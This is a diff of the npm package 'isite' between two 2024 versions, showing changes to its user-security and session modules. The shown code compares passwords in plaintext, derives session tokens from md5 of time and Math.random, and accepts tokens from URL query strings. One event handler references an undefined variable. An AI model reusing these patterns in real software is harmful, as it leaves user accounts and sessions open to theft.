isite 2024.8.3 → 2024.8.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -21
- package/README.md +1384 -1387
- package/apps/charts/site_files/html/PieChart.html +35 -35
- package/apps/charts/site_files/html/PieChart2.html +35 -35
- package/apps/charts/site_files/html/XYChart.html +42 -42
- package/apps/charts/site_files/html/column.html +60 -60
- package/apps/charts/site_files/html/gauge.html +44 -44
- package/apps/charts/site_files/html/index.html +92 -92
- package/apps/charts/site_files/html/line-graph.html +42 -42
- package/apps/charts/site_files/html/pie-chart-rounded-corners.html +38 -38
- package/apps/charts/site_files/html/simple-3D-pie-chart.html +43 -43
- package/apps/charts/site_files/js/chart-animated.js +2 -2
- package/apps/charts/site_files/json/PieChart.json +41 -41
- package/apps/charts/site_files/json/PieChart2.json +23 -23
- package/apps/charts/site_files/json/XYChart.json +74 -74
- package/apps/charts/site_files/json/bar-chart.json +99 -99
- package/apps/charts/site_files/json/column-chart.json +80 -80
- package/apps/charts/site_files/json/gauge.json +36 -36
- package/apps/charts/site_files/json/line-graph.json +1867 -1867
- package/apps/charts/site_files/json/pie-chart-rounded-corners.json +42 -42
- package/apps/charts/site_files/json/simple-3D-pie-chart.json +50 -50
- package/apps/client-side/package-lock.json +5 -5
- package/apps/client-side/package.json +21 -21
- package/apps/client-side/site_files/css/bootstrap3.css +5 -5
- package/apps/client-side/site_files/css/bootstrap4.css +6 -6
- package/apps/client-side/site_files/css/bootstrap5.css +6 -6
- package/apps/client-side/site_files/css/checkbox.css +125 -125
- package/apps/client-side/site_files/css/font-awesome.css +4616 -4616
- package/apps/client-side/site_files/css/font-awesome.min.css +4 -4
- package/apps/client-side/site_files/css/fonts.css +85 -85
- package/apps/client-side/site_files/css/help.css +51 -51
- package/apps/client-side/site_files/css/main-menu.css +66 -66
- package/apps/client-side/site_files/css/print.css +144 -144
- package/apps/client-side/site_files/css/prism.css +139 -139
- package/apps/client-side/site_files/css/progress.css +7 -7
- package/apps/client-side/site_files/css/radio.css +103 -103
- package/apps/client-side/site_files/css/scrollbar.css +13 -13
- package/apps/client-side/site_files/css/semantic.css +363 -363
- package/apps/client-side/site_files/css/table.css +87 -87
- package/apps/client-side/site_files/css/treeview.css +84 -84
- package/apps/client-side/site_files/css/ui.css +28 -28
- package/apps/client-side/site_files/css/video-js.min.css +1 -0
- package/apps/client-side/site_files/fonts/fontawesome-webfont.svg +2671 -2671
- package/apps/client-side/site_files/fonts/glyphicons-halflings-regular.svg +287 -287
- package/apps/client-side/site_files/fonts/icons.svg +684 -684
- package/apps/client-side/site_files/js/Youtube.min.js +1 -0
- package/apps/client-side/site_files/js/angular-animate.js +4179 -4179
- package/apps/client-side/site_files/js/angular.js +36599 -36599
- package/apps/client-side/site_files/js/angular.min.js +351 -351
- package/apps/client-side/site_files/js/angular.min.js.map +8 -8
- package/apps/client-side/site_files/js/barcode.js +1 -1
- package/apps/client-side/site_files/js/base64.js +319 -319
- package/apps/client-side/site_files/js/bootstrap-5-directive.js +1456 -1456
- package/apps/client-side/site_files/js/bootstrap3.js +6 -6
- package/apps/client-side/site_files/js/bootstrap4.js +6 -6
- package/apps/client-side/site_files/js/bootstrap5.js +6 -6
- package/apps/client-side/site_files/js/custom.js +149 -149
- package/apps/client-side/site_files/js/directive.min.js +1 -1
- package/apps/client-side/site_files/js/hijri.js +965 -965
- package/apps/client-side/site_files/js/jquery.js +2 -2
- package/apps/client-side/site_files/js/moment.js +4511 -4511
- package/apps/client-side/site_files/js/prism.js +6 -6
- package/apps/client-side/site_files/js/qrcode.js +1398 -1398
- package/apps/client-side/site_files/js/semantic.js +10 -10
- package/apps/client-side/site_files/js/video.min.js +53 -0
- package/apps/client-side/site_files/js/xlsx.js +23 -23
- package/apps/client-side/site_files/semantic-themes/default/assets/fonts/brand-icons.svg +1008 -1008
- package/apps/client-side/site_files/semantic-themes/default/assets/fonts/icons.svg +1518 -1518
- package/apps/client-side/site_files/semantic-themes/default/assets/fonts/outline-icons.svg +366 -366
- package/apps/client-side/site_files/webfonts/fa-brands-400.svg +3717 -3717
- package/apps/client-side/site_files/webfonts/fa-regular-400.svg +801 -801
- package/apps/client-side/site_files/webfonts/fa-solid-900.svg +5034 -5034
- package/apps/security/README.md +12 -12
- package/apps/security/app.js +288 -288
- package/apps/security/libs/notifications.js +89 -89
- package/apps/security/site_files/html/add_modal.html +36 -36
- package/apps/security/site_files/html/content.html +36 -36
- package/apps/security/site_files/html/delete_modal.html +31 -31
- package/apps/security/site_files/html/head.html +7 -7
- package/apps/security/site_files/html/index.html +80 -80
- package/apps/security/site_files/html/login_modal.html +24 -24
- package/apps/security/site_files/html/logout_modal.html +21 -21
- package/apps/security/site_files/html/navbar.html +8 -8
- package/apps/security/site_files/html/register_modal.html +32 -32
- package/apps/security/site_files/html/update_modal.html +28 -28
- package/apps/security/site_files/html/view.html +74 -74
- package/apps/security/site_files/html/view_modal.html +32 -32
- package/apps/security/site_files/js/app.js +1 -1
- package/apps/security/site_files/js/index.js +278 -278
- package/apps/security/site_files/js/login.js +35 -35
- package/apps/security/site_files/js/logout.js +22 -22
- package/apps/security/site_files/js/navbar.js +26 -26
- package/apps/security/site_files/js/register.js +30 -30
- package/apps/security/site_files/json/permissions.json +7 -7
- package/apps/security/site_files/json/roles.json +33 -33
- package/apps/security/site_files/json/words.json +28 -28
- package/gulpfile.js +17 -17
- package/index.js +1 -1
- package/isite.postman_collection.json +7 -7
- package/isite_files/css/bootstrap.css +5 -5
- package/isite_files/css/font-awesome.css +4 -4
- package/isite_files/css/prism.css +139 -139
- package/isite_files/fonts/fontawesome-webfont.svg +2671 -2671
- package/isite_files/fonts/glyphicons-halflings-regular.svg +287 -287
- package/isite_files/html/files.html +9 -9
- package/isite_files/html/head.html +12 -12
- package/isite_files/html/index.html +30 -30
- package/isite_files/html/installing.html +27 -27
- package/isite_files/html/navbar.html +51 -51
- package/isite_files/html/routes.html +13 -13
- package/isite_files/html/sessions.html +13 -13
- package/isite_files/html/vars.html +9 -9
- package/isite_files/js/angular.js +334 -334
- package/isite_files/js/bootstrap.js +6 -6
- package/isite_files/js/custom.js +149 -149
- package/isite_files/js/jquery.js +4 -4
- package/isite_files/js/prism.js +6 -6
- package/lib/README.md +1 -1
- package/lib/collection.js +111 -17
- package/lib/cookie.js +81 -81
- package/lib/dashboard.js +189 -189
- package/lib/eval.js +48 -0
- package/lib/mongodb.js +819 -686
- package/lib/parser.js +910 -910
- package/lib/security.js +61 -61
- package/lib/session.js +153 -158
- package/lib/sessions.js +14 -30
- package/lib/ws.js +2 -2
- package/object-options/index.js +3 -3
- package/object-options/lib/fn.js +1 -1
- package/object-options/lib/isite.code-workspace +10 -10
- package/package.json +58 -55
- package/ssl/create_ssl.sh +3 -3
package/lib/security.js
CHANGED
|
@@ -9,26 +9,25 @@ module.exports = function init(____0) {
|
|
|
9
9
|
db: ____0.options.security.db,
|
|
10
10
|
});
|
|
11
11
|
|
|
12
|
-
/** Email Must Not Duplicate */
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
},
|
|
17
|
-
(
|
|
18
|
-
|
|
19
|
-
email: 1,
|
|
20
|
-
});
|
|
21
|
-
}
|
|
22
|
-
);
|
|
12
|
+
/** Email Must Not Duplicate but can be null */
|
|
13
|
+
|
|
14
|
+
____0.$users.dropIndexes(() => {
|
|
15
|
+
____0.$users.createIndex({ email: 1 }, { unique: true, partialFilterExpression: { email: { $exists: true } } }, () => {});
|
|
16
|
+
____0.$users.createIndex({ username: 1 }, { unique: true, partialFilterExpression: { username: { $exists: true } } }, () => {});
|
|
17
|
+
____0.$users.createIndex({ mobile: 1 }, { unique: true, partialFilterExpression: { mobile: { $exists: true } } }, () => {});
|
|
18
|
+
});
|
|
23
19
|
|
|
24
20
|
____0.$roles.deleteDuplicate(
|
|
25
21
|
{
|
|
26
22
|
name: 1,
|
|
27
23
|
},
|
|
28
24
|
(err, result) => {
|
|
29
|
-
____0.$roles.createUnique(
|
|
30
|
-
|
|
31
|
-
|
|
25
|
+
____0.$roles.createUnique(
|
|
26
|
+
{
|
|
27
|
+
name: 1,
|
|
28
|
+
},
|
|
29
|
+
() => {}
|
|
30
|
+
);
|
|
32
31
|
}
|
|
33
32
|
);
|
|
34
33
|
|
|
@@ -387,39 +386,37 @@ module.exports = function init(____0) {
|
|
|
387
386
|
});
|
|
388
387
|
};
|
|
389
388
|
|
|
390
|
-
security.getUser = function (
|
|
389
|
+
security.getUser = function (_user, callback) {
|
|
391
390
|
callback = callback || function () {};
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
(
|
|
397
|
-
(!user.key &&
|
|
398
|
-
(
|
|
399
|
-
(
|
|
400
|
-
(user.key && userArgs.key && user.key === userArgs.key) ||
|
|
401
|
-
(user.key && userArgs.email && user.key === ____0.x0md50x(userArgs.email.trim().toLowerCase()))
|
|
402
|
-
) {
|
|
403
|
-
user.$memory = !0;
|
|
404
|
-
user = security.handleUser(user);
|
|
405
|
-
callback(null, user);
|
|
406
|
-
return;
|
|
407
|
-
}
|
|
408
|
-
}
|
|
409
|
-
|
|
410
|
-
____0.$users.findOne(
|
|
411
|
-
{
|
|
412
|
-
where: userArgs,
|
|
413
|
-
select: {},
|
|
414
|
-
},
|
|
415
|
-
function (err, doc) {
|
|
416
|
-
if (doc && (userArgs.id || userArgs.email)) {
|
|
417
|
-
doc = security.handleUser(doc);
|
|
418
|
-
security.users.push(doc);
|
|
419
|
-
}
|
|
420
|
-
callback(err, doc);
|
|
421
|
-
}
|
|
391
|
+
let index = security.users.findIndex(
|
|
392
|
+
(user) =>
|
|
393
|
+
(_user.id && user.id === _user.id) ||
|
|
394
|
+
(!user.key && _user.email && user.email === _user.email.trim().toLowerCase()) ||
|
|
395
|
+
(!user.key && _user.username && user.username === _user.username.trim().toLowerCase()) ||
|
|
396
|
+
(!user.key && _user.mobile && user.mobile === _user.mobile.trim().toLowerCase()) ||
|
|
397
|
+
(user.key && _user.key && user.key === _user.key) ||
|
|
398
|
+
(user.key && _user.email && user.key === ____0.x0md50x(_user.email.trim().toLowerCase()))
|
|
422
399
|
);
|
|
400
|
+
if (index !== -1) {
|
|
401
|
+
security.users[index].$memory = !0;
|
|
402
|
+
security.users[index] = security.handleUser(security.users[index]);
|
|
403
|
+
callback(null, security.users[index]);
|
|
404
|
+
return;
|
|
405
|
+
} else {
|
|
406
|
+
____0.$users.findOne(
|
|
407
|
+
{
|
|
408
|
+
where: _user,
|
|
409
|
+
select: {},
|
|
410
|
+
},
|
|
411
|
+
function (err, doc) {
|
|
412
|
+
if (!err && doc) {
|
|
413
|
+
doc = security.handleUser(doc);
|
|
414
|
+
security.users.push(doc);
|
|
415
|
+
}
|
|
416
|
+
callback(err, doc);
|
|
417
|
+
}
|
|
418
|
+
);
|
|
419
|
+
}
|
|
423
420
|
};
|
|
424
421
|
|
|
425
422
|
security.isUserExists = function (user, callback) {
|
|
@@ -474,8 +471,8 @@ module.exports = function init(____0) {
|
|
|
474
471
|
user.email = user.email.trim().toLowerCase();
|
|
475
472
|
} else if (user && user.mobile && user.password) {
|
|
476
473
|
user.mobile = user.mobile.trim().toLowerCase();
|
|
477
|
-
} else if (user && user.
|
|
478
|
-
user.
|
|
474
|
+
} else if (user && user.username && user.password) {
|
|
475
|
+
user.username = user.username.trim().toLowerCase();
|
|
479
476
|
} else {
|
|
480
477
|
callback({
|
|
481
478
|
message: 'User Info Not Correct',
|
|
@@ -488,7 +485,7 @@ module.exports = function init(____0) {
|
|
|
488
485
|
if (
|
|
489
486
|
(!_user.key && user.email && _user.email === user.email && _user.password === user.password) ||
|
|
490
487
|
(!_user.key && user.mobile && _user.mobile === user.mobile && _user.password === user.password) ||
|
|
491
|
-
(!_user.key && user.
|
|
488
|
+
(!_user.key && user.username && _user.username === user.username && _user.password === user.password) ||
|
|
492
489
|
(_user.key && user.key && _user.key === user.key) ||
|
|
493
490
|
(_user.key && user.email && user.password && _user.key === ____0.x0md50x(user.email + user.password))
|
|
494
491
|
) {
|
|
@@ -517,8 +514,8 @@ module.exports = function init(____0) {
|
|
|
517
514
|
where.email = user.email;
|
|
518
515
|
} else if (user.mobile) {
|
|
519
516
|
where.mobile = user.mobile;
|
|
520
|
-
} else if (user.
|
|
521
|
-
where.
|
|
517
|
+
} else if (user.username) {
|
|
518
|
+
where.username = user.username;
|
|
522
519
|
} else {
|
|
523
520
|
callback({
|
|
524
521
|
message: 'User Info Not Correct',
|
|
@@ -579,8 +576,8 @@ module.exports = function init(____0) {
|
|
|
579
576
|
user.email = user.email.trim().toLowerCase();
|
|
580
577
|
} else if (user && user.mobile && user.password) {
|
|
581
578
|
user.mobile = user.mobile.trim().toLowerCase();
|
|
582
|
-
} else if (user && user.
|
|
583
|
-
user.
|
|
579
|
+
} else if (user && user.username && user.password) {
|
|
580
|
+
user.username = user.username.trim().toLowerCase();
|
|
584
581
|
} else {
|
|
585
582
|
callback({
|
|
586
583
|
message: 'User Info Not Correct',
|
|
@@ -645,7 +642,11 @@ module.exports = function init(____0) {
|
|
|
645
642
|
});
|
|
646
643
|
}
|
|
647
644
|
|
|
648
|
-
|
|
645
|
+
delete req.session.user;
|
|
646
|
+
req.session.accessToken = req.host + new Date().getTime().toString() + '_' + Math.random();
|
|
647
|
+
req.session.accessToken = ____0.x0md50x(req.session.accessToken);
|
|
648
|
+
res.set('Access-Token', req.session.accessToken);
|
|
649
|
+
res.cookie('access_token', req.session.accessToken);
|
|
649
650
|
callback(null, !0);
|
|
650
651
|
};
|
|
651
652
|
|
|
@@ -662,8 +663,8 @@ module.exports = function init(____0) {
|
|
|
662
663
|
user.email = user.email.trim().toLowerCase();
|
|
663
664
|
} else if (user && user.mobile && user.password) {
|
|
664
665
|
user.mobile = user.mobile.trim().toLowerCase();
|
|
665
|
-
} else if (user && user.
|
|
666
|
-
user.
|
|
666
|
+
} else if (user && user.username && user.password) {
|
|
667
|
+
user.username = user.username.trim().toLowerCase();
|
|
667
668
|
} else {
|
|
668
669
|
callback({
|
|
669
670
|
message: 'User Info Not Correct',
|
|
@@ -672,7 +673,7 @@ module.exports = function init(____0) {
|
|
|
672
673
|
}
|
|
673
674
|
|
|
674
675
|
if (!user.email) {
|
|
675
|
-
user.email = user.
|
|
676
|
+
user.email = user.username || user.mobile || 'Not Set';
|
|
676
677
|
}
|
|
677
678
|
|
|
678
679
|
security.isUserExists(user, function (err, u) {
|
|
@@ -731,8 +732,8 @@ module.exports = function init(____0) {
|
|
|
731
732
|
where.email = user.email.trim().toLowerCase();
|
|
732
733
|
} else if (user.mobile) {
|
|
733
734
|
where.mobile = user.mobile.trim().toLowerCase();
|
|
734
|
-
} else if (user.
|
|
735
|
-
where.
|
|
735
|
+
} else if (user.username) {
|
|
736
|
+
where.username = user.username.trim().toLowerCase();
|
|
736
737
|
} else {
|
|
737
738
|
callback({
|
|
738
739
|
message: 'User Info Not Correct',
|
|
@@ -1038,12 +1039,11 @@ module.exports = function init(____0) {
|
|
|
1038
1039
|
});
|
|
1039
1040
|
|
|
1040
1041
|
____0.post('/x-security/api/user/logout', function (req, res) {
|
|
1041
|
-
let response = {
|
|
1042
|
-
accessToken: req.session.accessToken,
|
|
1043
|
-
};
|
|
1042
|
+
let response = {};
|
|
1044
1043
|
|
|
1045
1044
|
____0.security.logout(req, res, () => {
|
|
1046
1045
|
response.done = !0;
|
|
1046
|
+
response.accessToken = req.session.accessToken;
|
|
1047
1047
|
res.json(response);
|
|
1048
1048
|
});
|
|
1049
1049
|
});
|
package/lib/session.js
CHANGED
|
@@ -1,158 +1,153 @@
|
|
|
1
|
-
module.exports = function init(req, res, ____0, callback) {
|
|
2
|
-
____0.getSession({ accessToken: req.
|
|
3
|
-
if (!session.accessToken) {
|
|
4
|
-
session.accessToken = new Date().getTime().toString() + '_' + Math.random()
|
|
5
|
-
session.accessToken = ____0.x0md50x(session.accessToken);
|
|
6
|
-
res.cookie('access_token', session.accessToken);
|
|
7
|
-
res.set('Access-Token', session.accessToken);
|
|
8
|
-
}
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
req.
|
|
36
|
-
|
|
37
|
-
req.
|
|
38
|
-
req.features.push('host.' + req.
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
req.
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
req.
|
|
49
|
-
req.
|
|
50
|
-
req.features.push('host.' + req.
|
|
51
|
-
|
|
52
|
-
req.
|
|
53
|
-
req.
|
|
54
|
-
|
|
55
|
-
req.
|
|
56
|
-
req.
|
|
57
|
-
req.
|
|
58
|
-
|
|
59
|
-
req.
|
|
60
|
-
req.
|
|
61
|
-
req.
|
|
62
|
-
req.features.push('host.' + req.
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
if (req.cookies.obj && req.cookies.obj['
|
|
72
|
-
req.features.push('browser.social');
|
|
73
|
-
req.features.push('browser.social.app');
|
|
74
|
-
}
|
|
75
|
-
if (req.
|
|
76
|
-
req.features.push('browser.social');
|
|
77
|
-
req.features.push('browser.social.app');
|
|
78
|
-
}
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
req.
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
req.features.push('os.
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
if (req.userAgent.contains('windows nt
|
|
96
|
-
req.features.push('os.
|
|
97
|
-
} else if (req.userAgent.contains('windows nt 6.
|
|
98
|
-
req.features.push('os.
|
|
99
|
-
} else
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
} else if (req.userAgent.contains('
|
|
106
|
-
req.features.push('os.
|
|
107
|
-
} else
|
|
108
|
-
req.features.push('os.
|
|
109
|
-
}
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
req.features.push('
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
if (req.userAgent.contains('
|
|
116
|
-
req.features.push('browser.
|
|
117
|
-
} else if (req.userAgent.contains('
|
|
118
|
-
req.features.push('browser.
|
|
119
|
-
} else if (req.userAgent.contains('
|
|
120
|
-
req.features.push('browser.
|
|
121
|
-
} else if (req.userAgent.contains('
|
|
122
|
-
req.features.push('browser.
|
|
123
|
-
} else if (req.userAgent.contains('
|
|
124
|
-
req.features.push('browser.
|
|
125
|
-
} else
|
|
126
|
-
req.features.push('browser.
|
|
127
|
-
}
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
session
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
} else {
|
|
155
|
-
callback(session);
|
|
156
|
-
}
|
|
157
|
-
});
|
|
158
|
-
};
|
|
1
|
+
module.exports = function init(req, res, ____0, callback) {
|
|
2
|
+
____0.getSession({ accessToken: req.headers['Access-Token'] || req.headers['access-token'] || req.query['access-token'] || req.cookie('access_token') }, (session) => {
|
|
3
|
+
if (!session.accessToken) {
|
|
4
|
+
session.accessToken = req.host + new Date().getTime().toString() + '_' + Math.random();
|
|
5
|
+
session.accessToken = ____0.x0md50x(session.accessToken);
|
|
6
|
+
res.cookie('access_token', session.accessToken);
|
|
7
|
+
res.set('Access-Token', session.accessToken);
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
session.ip = req.ip;
|
|
11
|
+
session.modifiedTime = new Date().getTime();
|
|
12
|
+
____0.saveSession(session);
|
|
13
|
+
|
|
14
|
+
function AssignFeatures() {
|
|
15
|
+
____0.options.defaults.features.forEach((f) => {
|
|
16
|
+
req.features.push(f);
|
|
17
|
+
});
|
|
18
|
+
____0.features.forEach((f) => {
|
|
19
|
+
req.features.push(f.name);
|
|
20
|
+
});
|
|
21
|
+
if (____0.options.dynamic) {
|
|
22
|
+
req.features.push('site.dynamic');
|
|
23
|
+
}
|
|
24
|
+
req.features.push('ip.' + req.ip);
|
|
25
|
+
|
|
26
|
+
if (req.host) {
|
|
27
|
+
req.features.push('host.' + req.host);
|
|
28
|
+
req.hostArray = req.host.split(':')[0].split('.').reverse();
|
|
29
|
+
if (req.hostArray[0] == 'localhost') {
|
|
30
|
+
req.domain = req.hostArray[0];
|
|
31
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
32
|
+
if (req.hostArray.length == 2) {
|
|
33
|
+
req.domain2 = req.hostArray[1];
|
|
34
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
35
|
+
} else if (req.hostArray.length == 3) {
|
|
36
|
+
req.domain2 = req.hostArray[1];
|
|
37
|
+
req.domain3 = req.hostArray[2];
|
|
38
|
+
req.features.push('host.' + req.domain2);
|
|
39
|
+
req.features.push('host.' + req.domain3);
|
|
40
|
+
}
|
|
41
|
+
} else {
|
|
42
|
+
if (req.hostArray.length == 2) {
|
|
43
|
+
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
44
|
+
req.features.push('host.' + req.domain);
|
|
45
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
46
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
47
|
+
} else if (req.hostArray.length == 3) {
|
|
48
|
+
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
49
|
+
req.domain2 = req.hostArray[2];
|
|
50
|
+
req.features.push('host.' + req.domain);
|
|
51
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
52
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
53
|
+
req.features.push('host.' + req.hostArray[2]);
|
|
54
|
+
} else if (req.hostArray.length == 4) {
|
|
55
|
+
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
56
|
+
req.domain2 = req.hostArray[2];
|
|
57
|
+
req.domain3 = req.hostArray[3];
|
|
58
|
+
req.features.push('host.' + req.domain);
|
|
59
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
60
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
61
|
+
req.features.push('host.' + req.hostArray[2]);
|
|
62
|
+
req.features.push('host.' + req.hostArray[3]);
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
if (req.cookies.obj && req.cookies.obj['_ga'] && req.cookies.obj['_ga'].contains('sb')) {
|
|
68
|
+
req.features.push('browser.social');
|
|
69
|
+
req.features.push('browser.social.app');
|
|
70
|
+
}
|
|
71
|
+
if (req.cookies.obj && req.cookies.obj['_gab'] && req.cookies.obj['_gab'].contains('sb')) {
|
|
72
|
+
req.features.push('browser.social');
|
|
73
|
+
req.features.push('browser.social.app');
|
|
74
|
+
}
|
|
75
|
+
if (req.headers['x-browser'] && req.headers['x-browser'].contains('social-browser')) {
|
|
76
|
+
req.features.push('browser.social');
|
|
77
|
+
req.features.push('browser.social.app');
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
if (req.headers['user-agent']) {
|
|
81
|
+
req.userAgent = req.headers['user-agent'].toLowerCase();
|
|
82
|
+
req.features.push('user-agent.' + req.userAgent);
|
|
83
|
+
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(req.userAgent)) {
|
|
84
|
+
req.features.push('os.mobile');
|
|
85
|
+
} else {
|
|
86
|
+
req.features.push('os.desktop');
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
if (req.userAgent.contains('windows')) {
|
|
90
|
+
req.features.push('os.windows');
|
|
91
|
+
if (req.userAgent.contains('windows nt 5.1')) {
|
|
92
|
+
req.features.push('os.windowsxp');
|
|
93
|
+
} else if (req.userAgent.contains('windows nt 6.1')) {
|
|
94
|
+
req.features.push('os.windows7');
|
|
95
|
+
} else if (req.userAgent.contains('windows nt 6.2') || req.userAgent.contains('windows nt 6.3')) {
|
|
96
|
+
req.features.push('os.windows8');
|
|
97
|
+
} else if (req.userAgent.contains('windows nt 6.4') || req.userAgent.contains('windows nt 10')) {
|
|
98
|
+
req.features.push('os.windows10');
|
|
99
|
+
} else {
|
|
100
|
+
}
|
|
101
|
+
} else if (req.userAgent.contains('linux')) {
|
|
102
|
+
req.features.push('os.linux');
|
|
103
|
+
} else if (req.userAgent.contains('macintosh')) {
|
|
104
|
+
req.features.push('os.mac');
|
|
105
|
+
} else if (req.userAgent.contains('android')) {
|
|
106
|
+
req.features.push('os.android');
|
|
107
|
+
} else {
|
|
108
|
+
req.features.push('os.unknown');
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
if (req.userAgent.contains('edge')) {
|
|
112
|
+
req.features.push('browser.edge');
|
|
113
|
+
} else if (req.userAgent.contains('firefox')) {
|
|
114
|
+
req.features.push('browser.firefox');
|
|
115
|
+
} else if (req.userAgent.contains('opr')) {
|
|
116
|
+
req.features.push('browser.opera');
|
|
117
|
+
} else if (req.userAgent.contains('ucbrowser')) {
|
|
118
|
+
req.features.push('browser.ucbrowser');
|
|
119
|
+
} else if (req.userAgent.contains('bdbrowser') || req.userAgent.contains('baidu') || req.userAgent.contains('baidubrowser')) {
|
|
120
|
+
req.features.push('browser.baidu');
|
|
121
|
+
} else if (req.userAgent.contains('chromium')) {
|
|
122
|
+
req.features.push('browser.chromium');
|
|
123
|
+
} else if (req.userAgent.contains('chrome')) {
|
|
124
|
+
req.features.push('browser.chrome');
|
|
125
|
+
} else {
|
|
126
|
+
req.features.push('browser.unknown');
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
AssignFeatures();
|
|
132
|
+
|
|
133
|
+
if (____0.security && session.user_id) {
|
|
134
|
+
____0.security.getUser(
|
|
135
|
+
{
|
|
136
|
+
id: session.user_id,
|
|
137
|
+
},
|
|
138
|
+
function (err, user) {
|
|
139
|
+
if (!err && user) {
|
|
140
|
+
session.user = user;
|
|
141
|
+
if (session.user) {
|
|
142
|
+
req.features.push('login');
|
|
143
|
+
}
|
|
144
|
+
____0.saveSession(session);
|
|
145
|
+
callback(session);
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
);
|
|
149
|
+
} else {
|
|
150
|
+
callback(session);
|
|
151
|
+
}
|
|
152
|
+
});
|
|
153
|
+
};
|
package/lib/sessions.js
CHANGED
|
@@ -158,26 +158,12 @@ module.exports = function init(____0) {
|
|
|
158
158
|
____0.saveSession = sessions.save = function (session, callback) {
|
|
159
159
|
callback = callback || function () {};
|
|
160
160
|
session.$exists = !1;
|
|
161
|
-
|
|
162
|
-
if (
|
|
163
|
-
sessions.list[
|
|
164
|
-
callback(sessions.list[
|
|
165
|
-
return sessions.list[
|
|
166
|
-
}
|
|
167
|
-
sessions.list.forEach((s, i) => {
|
|
168
|
-
if (session.$exists) {
|
|
169
|
-
return;
|
|
170
|
-
}
|
|
171
|
-
if (s && s.accessToken == session.accessToken) {
|
|
172
|
-
sessions.list[i] = { ...sessions.list[i], ...session };
|
|
173
|
-
session.$exists = !0;
|
|
174
|
-
session.$index = i;
|
|
175
|
-
callback(sessions.list[session.$index]);
|
|
176
|
-
return sessions.list[session.$index];
|
|
177
|
-
}
|
|
178
|
-
});
|
|
179
|
-
}
|
|
180
|
-
return sessions.list[session.$index];
|
|
161
|
+
let index = sessions.list.findIndex(s=> s.accessToken && s.accessToken == session.accessToken)
|
|
162
|
+
if (index !== -1) {
|
|
163
|
+
sessions.list[index] = { ...sessions.list[index], ...session };
|
|
164
|
+
callback(sessions.list[index]);
|
|
165
|
+
return sessions.list[index];
|
|
166
|
+
}
|
|
181
167
|
};
|
|
182
168
|
|
|
183
169
|
____0.on('[session][update]', (session) => {
|
|
@@ -205,18 +191,16 @@ module.exports = function init(____0) {
|
|
|
205
191
|
});
|
|
206
192
|
});
|
|
207
193
|
____0.on('[session][delete]', (session) => {
|
|
208
|
-
sessions.list.
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
});
|
|
194
|
+
let index = sessions.list.findIndex((s) => s.accessToken && s.accessToken == session.accessToken);
|
|
195
|
+
if (index !== -1) {
|
|
196
|
+
sessions.list.splice(index, 1);
|
|
197
|
+
}
|
|
213
198
|
});
|
|
214
199
|
____0.on('[session][user][update]', (user) => {
|
|
215
|
-
sessions.list.
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
});
|
|
200
|
+
let index = sessions.list.findIndex((s) => s.user && s.user == session.user);
|
|
201
|
+
if (index !== -1) {
|
|
202
|
+
sessions.list[index].user = user;
|
|
203
|
+
}
|
|
220
204
|
});
|
|
221
205
|
|
|
222
206
|
